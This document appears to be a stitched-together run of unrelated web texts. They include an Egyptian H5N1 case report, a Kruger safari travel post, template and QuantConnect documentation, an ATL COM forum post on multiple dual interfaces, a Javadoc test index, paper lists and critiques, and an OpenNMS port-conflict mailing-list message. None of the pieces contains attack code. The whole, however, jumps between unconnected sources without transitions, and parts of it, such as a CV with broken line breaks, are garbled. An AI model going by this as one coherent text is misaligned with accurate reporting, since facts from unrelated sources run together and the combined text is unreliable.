Message us if you would like us to work on a website or app for you.


The documentation for this class was generated from the following files:


28 February 2011 - The Ministry of Health of Egypt has announced 3 new confirmed cases of human infection with avian influenza A (H5N1) virus.
The first case is a 26 year-old female from Dakahlia Governorate. She developed symptoms on 18 January and was hospitalized on 23 January. She has recovered and was discharged on 7 February.
The second case is a 45 year-old male from Menofia Governorate. He developed symptoms on 20 January and was hospitalized on 26 January. He died on 5 February.
The third case is a 4 year-old male from Damiata Governorate. He developed symptoms on 14 February and was hospitalized on 16 February. He is in a stable condition.
Investigations into the source of infection indicate that the three cases had exposure to poultry suspected to have avian influenza.
The cases were confirmed by the Egyptian Central Public Health Laboratories, a National Influenza Center of the WHO Global Influenza Surveillance Network.
Of the 125 cases confirmed to date in Egypt, 41 have been fatal.


THE ARTIST
EXPLORING AESTHETIC WITHIN THE ARTIST
Many artist today have diffent ways of conveying their personalities and style to their audience. Commonly, a following is either generated or not based on how relatble and marketable you are.
The formal definition of "Aesthetic" is the concentration on beauty and/ or the appreaciation of beauty. Recently, it has grown increasingly popular to care and develop an aesthetic for the betterment of your career. Featured on the left is New Artist, Summer Walker, and she is one to pay attention to when speaking about aesthetics. It is a very bg part of both her perfomances and looks.


Dr.
JOANNE GOMES
jgomes@sfitengg
.org
Total Experience: 28 years, 10 months
Ph.D Research Topic: Dig
ital Modulation Techniques To Optimize The
Quality o
f Indoor
U
WB
Communication
M.E Dissertation Title: Design
of
Short Range
Ultra
-
Wideband Transceiver
B.E Project: Microcontr
oller Based DC M
otor Controlle


@use super::page_base; @use crate::Session; @(session: &Session, paras: &[(&str, usize)]) @:page_base(session, "Example", {
This is a simple sample page.
@for (order, n) in paras {This is a @order paragraph, with @n repeats. @for _ in 1..=*n { This is a @order paragraph. } } })


About Our Mission
What we offer
Connect with your college and campus clubs in a lot more better way.
Regular project-based workshops, entrepreneurial and motivation seminars
Online clubs for inter-personal skills development and placement preparations
Collaborate or apply for placement in companies linked with us.
Why choose us
Some Growing Numbers
Companies Linked
Companies in talk with
Students Interested
About Our Mission
What we offer
Connect with applicants, Create a community, Collaborate.
Post jobs and manage applicants online
Why choose us
Some Growing Numbers
Companies Linked
Companies in talk with
Students Interested


Johannesburg, South Africa
Soundtrack
On the actual tour, there were 2 girls that camped at the Park for the first time, they had a pretty neat outdoor cabin lodge with showers. I think they said that their stay per night at these nice lodges was roughly $70 a night. Unfortunately I cannot find any pictures but it was very spacious and more accodomodating than most hotels. It's perfectly safe and gated too. Unlike the reserve, the Kruger park is actually IN the animal's habitat. Outside of the living/staying areas, you are out in the wild and seeing the animals as they are. These animals are not fed either, they hunt on their own and maintain their own ecosystem with very little human intervention.
Along the way I actually spotted a Lionness lounging around and keeping her.. whooha cooled. The Safari guide was pretty impressed and offered to get me a beer afterwards. Pretty proud of this spotting. This was about 15min outside of getting to the heart of our trail so the guide was pretty surprised it was far out and it was alone and seperated from The Pride.
 It's actually pretty accurate to Dumbo. When the males are older, they get casted off the herd
We were alongside another tour guide and it's group. It's a pretty cool system they have here where they share locations of spotting and update the map with pins of where they see things. Everyone's quest is to see the Big 5: Lion, Rhino, Elephant, Buffalo and the elusively rare Leopard. Leopards are particularly hard to spot because they have great camoflague and they are solo predators. Very fortunately in the 3 hours I was there, I was able to see all 5.
Along the use of walkie talkies, they are able to update daily sightings and share them amongst rangers
If I had the chance I would definitely book a week camp at Kruger. I calculate that roundtrip airfare, transportation, camping fee and parking fee would be around $1500. They can pick you up at the airport too! You can either do the hardcore camping (with a pictch up tent, campfires by night with the safari guide) or get the lodge. Either way, there is something soothing about sleeping with animals and then excitement by going out at 3am to watch the predators hunt.
South Africa was awesome. I really enjoyed seeing and being with the animals and am forever jaded from a zoo. The people that I met were super friendly and I at least played Toto's Africa once a day (both the original and the Weezer). Definitely a cool spot to travel to. The camping experience in Kruger would be unforgettable. I would do the camp and bring my DSLR next time. Also to add USD to Rand is very very favorable.


Introduction to Super Search
The most basic setup of Super Search needs only 2 things:
Search Form
All the search form (Super_Search:Form) needs to do is post (either by POST or GET) form data to the results page. The most common usage of Super Search, involves usage of the keywords field.
{exp:super_search:form return="supersearch/results" } Keywords <input type="text" name="keywords" id="keywords" value="{super_search_keywords}" /> <input type="submit" value="Search!" /> {/exp:super_search:form}
That's literally everything you need for the most basic search form.
The {super_search_keywords} variable is a global variable that gets dynamically assigned on the results page to allow you to repopupate the search form. If the current page has no search results loop it becomes an empty string.
Results Page
On the search results page, you'll need to use the Super_Search:Results tag.
Your results template could look something like this:
{exp:super_search:results}

{title}

{body}

 {/exp:super_search:results}
You can consider the Super_Search:Results loop as an extended version of the Channel:Entries loop. All the same variables are available, with some additions and alterations.
A full list of the additional variables available within the Super_Search:Results loop are available here.
Taking it Further
At the basic level, Super Search enables searches and results display from across your sites, but it can do a lot more than basic keyword searching when you need it.
For an idea of what you can do with it, have a gander over the available options and paramaters, and have a look at the other guides in the Super Search documentation.


We're sorry but this project doesn't work properly without JavaScript enabled. Please enable it to continue.


I'm probably jumping into this topic a bit late but it doesn't seem to end. I admit I haven't read all article in this thread but I think I have an implementation solution for multiple dual interfaces on one class. And I would like opinions on it from others as well, and as to whether or not it displays proper COM implementation.
The implementation is very much like one that has been posted earlier, which I've seen different variations of many times before. However, I feel the one I am presenting allows all dual interfaces to be on one object and accessible via scripting without explicitly asking for a piece. No new interface definitions will be necessary with this technique. However, there may be one flaw. It will work ideally when none of the dispid's of any of the dual interfaces collide, and when none of the named functions collide.
I consider a collision when the dispids,or names are equal, but the parameter list/type are not. Even still, when they do collide, the implementers using this technique can choose which should take priority.
Using ATL, I defined a templated class which should be derived by the class that exposes multiple dual interfaces.
template<UINT t_uiNum, class tihclass =
CComTypeInfoHolder>
class XMultiDualImpl : public IDispatch
{
public :
typedef tihclass _tihclass;
void Add( UINT uiIndex, LPDISPATCH pDisp, _tihclass &
tih)
{
ASSERT( t_uiNum > uiIndex-1
&& uiIndex>0 );
m_arrDispImpls[uiIndex-1] = pDisp;
//no need to addref, pDisp==this
m_arrpTih[uiIndex-1] = &tih;
};
STDMETHOD(GetTypeInfoCount)(UINT*
pctinfo) {*pctinfo = 1; return S_OK;}
STDMETHOD(GetTypeInfo)(UINT itinfo, LCID lcid, ITypeInfo**
pptinfo)
{return m_arrpTih[0]->GetTypeInfo(itinfo, lcid,
pptinfo);}
STDMETHOD(GetIDsOfNames)(REFIID riid, LPOLESTR* rgszNames,
UINT cNames,
LCID lcid, DISPID* rgdispid)
{
/*perhaps the loop should check for
a succeeded hresult instead*/
HRESULT hr = DISP_E_UNKNOWNNAME;
for ( UINT i=0; i < t_uiNum
&& hr == DISP_E_UNKNOWNNAME; i++ )
{
hr =
m_arrpTih[i]->GetIDsOfNames(riid, rgszNames, cNames, lcid, rgdispid);
}
return hr;
};
STDMETHOD(Invoke)(DISPID
dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS*
pdispparams, VARIANT* pvarResult, EXCEPINFO* pexcepinfo, UINT* puArgErr)
{
HRESULT hr = DISP_E_MEMBERNOTFOUND;
for ( int i=0; i < t_uiNum
&& hr == DISP_E_MEMBERNOTFOUND ; i++ )
{
hr =
m_arrpTih[i]->Invoke( m_arrDispImpls[i], dispidMember, riid, lcid, wFlags,
pdispparams, pvarResult, pexcepinfo, puArgErr);
}
return hr;
} ;
LPDISPATCH m_arrDispImpls[t_uiNum];
_tihclass * m_arrpTih[t_uiNum];
};
As an example, if we were to implement an object with 3 dual interfaces we would do the following
typedef XMultiDualImpl<3> XTriDualImpl ;
class DispTest3 : public XTriDualImpl,
public IDispatchImpl<IDispTest1, &IID_IDispTest1,
&LIBID_FirstLib>,
public IDispatchImpl<IDispTest2, &IID_IDispTest2,
&LIBID_SecondLib>,
public IDispatchImpl<IThirdIntfTest,
&IID_IThirdIntfTest, &LIBID_ThridLib>,
public CComObjectRoot,
public CComCoClass<DispTest3,&CLSID_DispTest3>
{
public:
DispTest3()
{
Add( 1,(IDispTest1*)this,
IDispatchImpl<IDispTest1, &IID_IDispTest1, &LIBID_FirstLib>::_tih
);
Add( 2,(IDispTest2*)this,
IDispatchImpl<IDispTest2, &IID_IDispTest2,
&LIBID_SecondLib>::_tih );
Add( 3,(IThirdIntfTest*)this,
IDispatchImpl<IThirdIntfTest, &IID_IThirdIntfTest,
&LIBID_ThridLib>::_tih );
}
BEGIN_COM_MAP(DispTest3)
COM_INTERFACE_ENTRY2(IDispatch, XTriDualImpl)
COM_INTERFACE_ENTRY(IDispTest1)
COM_INTERFACE_ENTRY(IDispTest2)
COM_INTERFACE_ENTRY(IThirdIntfTest)
END_COM_MAP()
//IDispTest1 methods [code omitted for brevity]
//IDispTest2 methods [code omitted for brevity]
//IThirdIntfTest methods [code omitted for brevity]
};
I admit the constructor of the derived class leaves room for elegance.
Basically, all QueryInterfaces for IDispatch will result in the XMultiDualImpl vtable. The IDispatch implementation for that vtable basically asks each IDispatch vtable (of the dual interface) in it's array one by one if it can carry out the call. If it fails, it moves on to the next dual interface vtable.
One might point out the following however :
pUnk->QueryInterface( IID_IDispatch,
(void**)&pIDispatch );
pUnk->QueryInteface( IID_IDispTest1, (void**)&pIDispTest1 );
pIDispatch->GetIDsOfNames does not have the same implementation as pIDispTest1->GetIDsOfNames. as well as the implementation differs for ->Invoke. I question whether or not that's a problem. Since IDispTest1 derives from IDispatch, I could see why it may be.
-herb


Papers
Papers related to theorem proving
International Conference on Computer Aided Verification (CAV)
2019
- “Formal Verification of Quantum Algorithms Using Quantum Hoare Logic. “PDF
Junyi Liu, Bohua Zhan, Shuling Wang, Shenggang Ying, Tao Liu, Yangjia Li, Mingsheng Ying, Naijun Zhan,
Computer Aided Verification - 31st International Conference, 2019, New York City, NY, USA, July 15-18, 2019, Proceedings, Part{II}
2020
- “Automated and Scalable Verification of Integer Multipliers. “PDF
Mertcan Temel, Anna Slobodová, Warren A. Hunt,
Computer Aided Verification - 32nd International Conference, 2020, Los Angeles, CA, USA, July 21-24, 2020, Proceedings, Part {I}
Interactive Theorem Proving(ITP)
International Conference on Certified Programs and Proofs (CPP)
International Conference on Functional Programming (ICFP)
Operating Systems Design and Implementation (OSDI)
2020
- “Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel. “PDF
Luke Nelson, Jacob Van Geffen, Emina Torlak, Xi Wang,
14th USENIX Symposium on Operating Systems Design and Implementation, OSDI 2020, Virtual Event, November 4-6, 2020


- tearDown() - Method in class tests.JUnit_AbstractQueueIntPair
-
- tearDown() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
- tearDown() - Method in class tests.JUnit_Pairs
-
- tearDown() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_get_size() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_get_size() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_head() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_head() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_headKO() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_headKO() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_is_empty() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_is_empty() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_performance1() - Method in class tests.JUnit_AbstractQueueIntPair
-
Make a million calls to each of the bounded queue methods and check that
the delay is no bigger than a second
- test_performance1() - Method in class tests.JUnit_UnboundedStorageSpecification
-
Make a million calls to each of the bounded storage methods and check that
the delay is no bigger than a second
- test_performance2() - Method in class tests.JUnit_AbstractQueueIntPair
-
Push 1000000 elements once and then call head() and pop() until queue is empty
Check that the delay is no bigger than a second
- test_performance2() - Method in class tests.JUnit_UnboundedStorageSpecification
-
Push 1000000 elements once and then call head() and pop() until storage is empty
Check that the delay is no bigger than a second
- test_performance3() - Method in class tests.JUnit_AbstractQueueIntPair
-
Push() and head() 1000000 elements into queue respectively
Then call pop() this queue until it is empty
Check that the delay is no bigger than a second
- test_performance3() - Method in class tests.JUnit_UnboundedStorageSpecification
-
Push() and head() 1000000 elements into storage respectively
Then call pop() this storage until it is empty
Check that the delay is no bigger than a second
- test_performance4() - Method in class tests.JUnit_AbstractQueueIntPair
-
push() and head() , pop(), is_empty() and get_size() 1000000 elements are called randomly
Check that the delay is no bigger than 300 milliseconds
- test_performance4() - Method in class tests.JUnit_UnboundedStorageSpecification
-
push() and head() , pop(), is_empty() and get_size() 1000000 elements are called randomly
Check that the delay is no bigger than 300 milliseconds
- test_pop() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_pop() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_popKO() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_popKO() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- test_push() - Method in class tests.JUnit_AbstractQueueIntPair
-
- test_push() - Method in class tests.JUnit_UnboundedStorageSpecification
-
- testAddHeadCall() - Method in class tests.JUnit_UnreliableStack
-
Test the number of calls of head() are increased after adding value
- testAddHeadError() - Method in class tests.JUnit_UnreliableStack
-
Test the number of exception thrown of head() are increased after adding value
- testAddPopCall() - Method in class tests.JUnit_UnreliableStack
-
Test the number of calls of pop() are increased after adding value
- testAddPopError() - Method in class tests.JUnit_UnreliableStack
-
Test the number of exception thrown of push() are increased after adding value
- testAddPushCall() - Method in class tests.JUnit_UnreliableStack
-
Test the number of calls of push() is increased after adding value
- testAddPushError() - Method in class tests.JUnit_UnreliableStack
-
Test the number of exception thrown of push() are increased after adding value
- testCanHeadError() - Method in class tests.JUnit_UnreliableStack
-
- testCanPopError() - Method in class tests.JUnit_UnreliableStack
-
- testCanPushError() - Method in class tests.JUnit_UnreliableStack
-
- testConstructor() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
Return true if the tested queue of simulation is initialized;
- testConstructor() - Method in class tests.JUnit_Pairs
-
- testConstructor() - Method in class tests.JUnit_UnreliableStack
-
- testEquals() - Method in class tests.JUnit_Pairs
-
- testFaultProbability() - Method in class tests.JUnit_UnreliableStack
-
Verify the value of faulty probability of push(), pop() and head()
- testGetFinshExecutionTime() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
Return a long value that is greater than input value
- testGetRandomRepeatedTimes() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
- testGetReliabilityOfHead() - Method in class tests.JUnit_UnreliableStack
-
Test the reliability of head() after adding a number of calls and errors
- testGetReliabilityOfPop() - Method in class tests.JUnit_UnreliableStack
-
Test the reliability of pop() after adding a number of calls and errors
- testGetReliabilityOfPush() - Method in class tests.JUnit_UnreliableStack
-
Test the reliability of Push() after adding a number of calls and errors
- testGetSet() - Method in class tests.JUnit_Pairs
-
Test getter and setter of
Pairs
- testRandomAllMethodValidation() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
- testRandomPopAndHeadValidation() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
- testRandomPushAndHeadValidation() - Method in class tests.JUnit_AbstractQueueIntPairSimulation
-
- tests - package tests
-
- testToString() - Method in class tests.JUnit_Pairs
-
- toString() - Method in class models.Pairs
-


Instructions:
- Navigate to Phone Tools, and enter your search parameters
- On the upper right-hand side of the page, near the search parameters, select "Export Results". A dropdown will appear, select "Export to JSON"
- When prompted, select the "Save File" Option, and then navigate to the downloaded file
- Navigate back to this tool's file location (or mailroomfiles/buildings/day1/tools/FloorTool) and paste the .json file into the [logic] folder.
- To run the app, rename the .json file to "page1.json" (case sensitive)
- Re-launch or Refresh this web page.
Example:
Entering "SEA29.06" should generate a list of the employees located at SEA29 from the 6th floor.
* NOTE * DO NOT RUN THIS FILE. The widget will fail if reformated by another program.
* If a .json file already exists in logic, save over the previous fil.e


{% include "sidebar.html" %}
{{ article.date|date:"d/m/Y" }} - By {{ article.authorID}}
{{ article.bodyCode }}


 Custom universe types extend from $[BaseData,T:QuantConnect.Data.BaseData], so implement a Reader()
method which parses the lines of the file.
Each of the custom universe data points is 1 line of the source file. The Reader method will be called repeatedly until the date/time advances, or the end of file is reached. This way you can group universe data and pass it as a single collection into the filter function.
// Add custom universe type and define the filter function. AddUniverse<NyseTopGainers>("myCustomUniverse", Resolution.Daily, nyseTopGainersList => { return from singleStockData in nyseTopGainersList where singleStockData.Rank > 5 select singleStockData.Symbol; });
# add the custom universe in initialize self.AddUniverse(NyseTopGainers, "myCustomUniverse", Resolution.Daily, self.nyseTopGainers) # filter function using your custom data def nyseTopGainers(self, data): return [ x.Symbol for x in data if x["Rank"] > 5 ]
Custom universes need a type defined to perform the parsing of the file. This pattern is almost identical to importing custom data to your algorithm, except the data is being used for choosing the universe data subscription instead of a price feed.
//Example custom universe data; it is virtually identical to other custom data types. public class NyseTopGainers : BaseData { public int TopGainersRank; public override DateTime EndTime { // define end time as exactly 1 day after Time get { return Time + QuantConnect.Time.OneDay; } set { Time = value - QuantConnect.Time.OneDay; } } public override SubscriptionDataSource GetSource(SubscriptionDataConfig config, DateTime date, bool isLiveMode) { return new SubscriptionDataSource(@"your-remote-universe-data", SubscriptionTransportMedium.RemoteFile); } public override BaseData Reader(SubscriptionDataConfig config, string line, DateTime date, bool isLiveMode) { // Generate required data, then return an instance of your class. return new NyseTopGainers { Symbol = Symbol.Create(symbolString, SecurityType.Equity, Market.USA), Time = date, TopGainersRank = rank }; } }
# Example custom universe data; it is virtually identical to other custom data types. class NyseTopGainers(PythonData): def GetSource(self, config, date, isLiveMode): return SubscriptionDataSource(@"your-remote-universe-data", SubscriptionTransportMedium.RemoteFile) def Reader(self, config, line, date, isLiveMode): # Generate required data, then return an instance of your class. nyse = NyseTopGainers() nyse.Time = date # define end time as exactly 1 day after Time nyse.EndTime = nyse.Time + timedelta(1) nyse.Symbol = Symbol.Create(symbolString, SecurityType.Equity, Market.USA) nyse["Rank"] = rank return nyse


Salmon Cookies
Sales
Merchandice
Contact Info
Do you want to have great hair and great teeth, and don't really care why you have the exact amount of milk in the cups in front of you or that there is a fishy smell constantly around you... then Salmon cookies is the dessert you will
LOVE
...
Check out some of our merchandice today
cookie cutter
frosted cookie
more cookies
shirt with salmon


Cause writing is all that I LOVE
Note: The following are write-ups written by me critiquing and analysing some of the papers that I have read.
I claim no rights to the ideas that were shared in the paper.
The paper discusses about how formalizing clustering can be difficult in most situations.
In most situation when there are a heterogeneous collection of objects the need for clustering arises.
When processing the heterogeneous set of objects it is obvious that the user would tend to fall back to
the technique of clustering. Clustering mostly falls under a persuasive destination. Even though the goal
of clustering is clear and persuasive goal it has become very hard to construct a unified framework when we
are looking for cognition at a technical level. The numerous approaches towards clustering also hasn't helped this cause.
The paper proves that with the help of a certain impossibility theorem as a medium. A set of three simple properties
have been taken into consideration and we show that there is no clustering function satisfying all three of the properties.
The observation has been that some relaxation in the operation of these properties exposed some trade-offs in well-known
clustering techniques.
Read More
This is an interesting paper that has a counter statement to Klienberg's paper. This paper argues that it is not inherent that a clustering technique may always satisfy the theory of impossibility. The clustering quality measures are axiomatized in this approach.
A cluster quality measure function is considered as the medium to measure the quality of the clusters.
The cluster quality measures are then analyzed a set of axioms are introduced for the output measures.
The axioms are nothing but a medium that retains the principles expressed by Klienberg's axioms while ensuring consistency.
By this way the quality measures are considered as the technique to measure the quality of a set of
clustering techniques without giving way to any off the tradeoffs as seen in Klienberg's method.
Read More


WebRTC DataChannel Chat
Getting started
Type a channel name and click
create
Open the chat in another tab
Type the same channel name and click
join
Wait a moment and start chatting!
Create
Join
Send
No chat messages available


<EMAIL_ADDRESS>This is a really drescriptive descriptions. It probably wraps and is very important to understanding exactly what you are dealing with.


Ocean [ao48], ocean, in The Inner Sea
Last updated Turn #90
Ocean [ao48], ocean, in The Inner Sea
------------------------------------------------------------------------
5: The Savvy Aardvark [ha5r], ship, 2 hulls, 1 rowing port, 6 sails,
5: 11% damaged, arrived from Ocean [ap48], owner:
5: Phantasm [n4b], Imperial Empire, duke, with eight sailors,
5: one riding horse
6: The Savvy Aardvark [ha5r], ship, 2 hulls, 1 rowing port, 6 sails,
6: 11% damaged, departed for Ocean [an48].
Routes leaving Ocean:
North, to Ocean [an48], 6 days
East, to Ocean [ao49], 6 days
South, to Ocean [ap48], 6 days
West, to Ocean [ao47], 6 days


Streaming Speech to Text
Select the language you are going to speak
Chinese (simplified)
English (Australian)
English (British)
English (US)
French
French (Canadian)
German
Italian
Japanese
Korean
Portugese (Brazilian)
Spanish (US)
◉
Transcription
Select translation language
Afrikaans
Albanian
Amharic
Arabic
Armenian
Azerbaijani
Bengali
Bosnian
Bulgarian
Catalan
Chinese (Simplified)
Chinese (Traditional)
Croatian
Czech
Danish
Dari
Dutch
English
Estonian
Farsi (Persian)
Filipino, Tagalog
Finnish
French
French (Canada)
Georgian
German
Greek
Gujarati
Haitian Creole
Hausa
Hebrew
Hindi
Hungarian
Icelandic
Indonesian
Irish
Italian
Japanese
Kannada
Kazakh
Korean
Latvian
Lithuanian
Macedonian
Malay
Malayalam
Maltese
Marathi
Mongolian
Norwegian (Bokmål)
Pashto
Polish
Portuguese (Brazil)
Portuguese (Portugal)
Punjabi
Romanian
Russian
Serbian
Sinhala
Slovak
Slovenian
Somali
Spanish
Spanish (Mexico)
Swahili
Swedish
Tamil
Telugu
Thai
Turkish
Ukrainian
Urdu
Uzbek
Vietnamese
Welsh
Translate
Clear
Translation
Send email
*
The email address must be registered with Amazon Simple Email Service (Amazon SES).


java.rmi.server.ExportException: Port already in use: 1099
2010-09-08 06:10:58 GMT
Hi,
In our project, OpenNMS have to co-exist with JBoss.
When we try to start OpenNMS, we find port 1099 conflict. Then we disable PollerBackEnd based on the following topic.
Now OpenNMS can startup properly. poller back is disabled. And polling, data collection, events and alarms work fine.
Unfortunately, jetty cannot startup properly. We cannot login the webpage.
We check jetty.log and find BindException come again.
2010-09-08 13:15:45,317 ERROR [Main] log: Failed startup of context org.mortbay.jetty.webapp.WebAppContext <at> 722bfe37{/opennms-remoting,/opt/opennms/jetty-webapps/opennms-remoting}
org.springframework.beans.factory.access.BootstrapException: Unable to return specified BeanFactory instance: factory key [pollerBackEndContext], from group with resource name [classpath*:beanRefContext.xml]; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'pollerBackEndContext' defined in URL [jar:file:/opt/opennms/lib/opennms-services-1.8.1.jar!/beanRefContext.xml]: Instantiation of bean failed; nested exception is org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [org.springframework.context.support.ClassPathXmlApplicationContext]: Constructor threw exception; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'pollerBackEnd-rmi' defined in class path resource [META-INF/opennms/applicationContext-exportedPollerBackEnd-rmi.xml]: Invocation of init method failed; nested exception is java.rmi.server.ExportException: Port already in use: 1099; nested exception is:
java.net.BindException: Address already in use
is there anybody who knows where to define the port in opennms or how to disable it in jetty?
Thanks
___________________________________________________________________________________________________________________________________
Ren Jian
Unisys China | tel +86-10-85183232-606 | HP +86-13911198146
THIS COMMUNICATION MAY CONTAIN CONFIDENTIAL AND/OR OTHERWISE PROPRIETARY MATERIAL and is thus for use only by the intended recipient. If you received this in error, please contact the sender and delete the e-mail and its attachments from all computers.
------------------------------------------------------------------------------ This SF.net Dev2Dev email is sponsored by: Show off your parallel programming skills. Enter the Intel(R) Threading Challenge 2010. http://p.sf.net/sfu/intel-thread-sfd
_______________________________________________ Please read the OpenNMS Mailing List FAQ: http://www.opennms.org/index.php/Mailing_List_FAQ opennms-discuss mailing list To *unsubscribe* or change your subscription options, see the bottom of this page: https://lists.sourceforge.net/lists/listinfo/opennms-discuss


ABOUT THE ACADEMY
At the Junior Academy for Coding Knowledge (JACK), we equip kids with the fundamental knowledge and skills to be innovators.
Believing that anybody can code, JACK was founded in 2016 with the mission to provide an avenue for kids to become fluent with technology at their early age. Not only does this make them capable of navigating today’s technology-driven world,
this also instills such skills as problem solving and critical thinking - skills that will be valuable to them in the long run.
And the best part? They can do more with coding. We provide a space where kids can learn concepts and do hands-on activities, mixing learning with play, empowering them to create and innovate. Let’s work together in shaping our future creators and digital leaders!


He liked being able to talk everything out without having to stop and just have someone listen. For me, it was good but a bit awkward only having 3 minutes. I was very aware of the time as I was talking. I felt like I only scratched the surface of what I was talking about. I might do this more often, for longer amounts of time.
I'd like to continue with the mindfulness conversations.
I appreciate the value of reflection and mindfulness when doing this course, I just find it hard to get the most out of it when my time is so limited and stress levels are high.